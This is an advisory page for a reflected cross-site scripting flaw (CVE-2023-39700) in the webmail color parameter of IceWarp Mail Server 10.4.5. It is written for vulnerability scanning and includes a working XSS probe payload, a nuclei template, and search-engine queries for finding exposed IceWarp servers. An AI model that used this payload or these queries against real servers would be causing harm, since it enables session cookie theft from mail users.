IceWarp Mail Server v10.4.5 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.

Impact

Unauthenticated attackers can inject malicious JavaScript through the color parameter in the webmail interface to steal email user session cookies and access sensitive email communications.

Fix

Update IceWarp Mail Server to a version newer than 10.4.5 that properly sanitizes the color parameter and encodes output in the webmail interface.

How to confirm it

Send: GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E
Positive when: status_code == 200 and contains(header, "text/html") and contains(body, "><img src=x onerror=confirm(document.cookie)>") && contains(body, "IceWarp")

Run it with nuclei: nuclei -id CVE-2023-39700 -u <target>

The full check

id: CVE-2023-39700

info:
  name: IceWarp Mail Server v10.4.5 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    IceWarp Mail Server v10.4.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the color parameter.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the color parameter in the webmail interface to steal email user session cookies and access sensitive email communications.
  remediation: |
    Update IceWarp Mail Server to a version newer than 10.4.5 that properly sanitizes the color parameter and encodes output in the webmail interface.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39700
    - https://cwe.mitre.org/data/definitions/79.html
    - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)
    - https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_%28XSS%29
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39700
    cwe-id: CWE-79
    epss-score: 0.0148
    epss-percentile: 0.74144
    cpe: cpe:2.3:a:icewarp:mail_server:10.4.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: icewarp
    product: mail_server
    shodan-query:
      - http.title:"IceWarp Server Administration"
      - http.title:"icewarp server administration"
      - http.title:"icewarp"
      - cpe:"cpe:2.3:a:icewarp:mail_server"
    fofa-query:
      - title="icewarp server administration"
      - title="icewarp"
    google-query:
      - intitle:"icewarp server administration"
      - intitle:"icewarp"
      - powered by icewarp 10.4.4
  tags: cve,cve2023,icewarp,xss,unauth,vuln

http:
  - raw:
      - |
        GET /webmail/?color=%22%3E%3Cimg%20src=x%20onerror=confirm(document.cookie)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "><img src=x onerror=confirm(document.cookie)>") && contains(body, "IceWarp")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from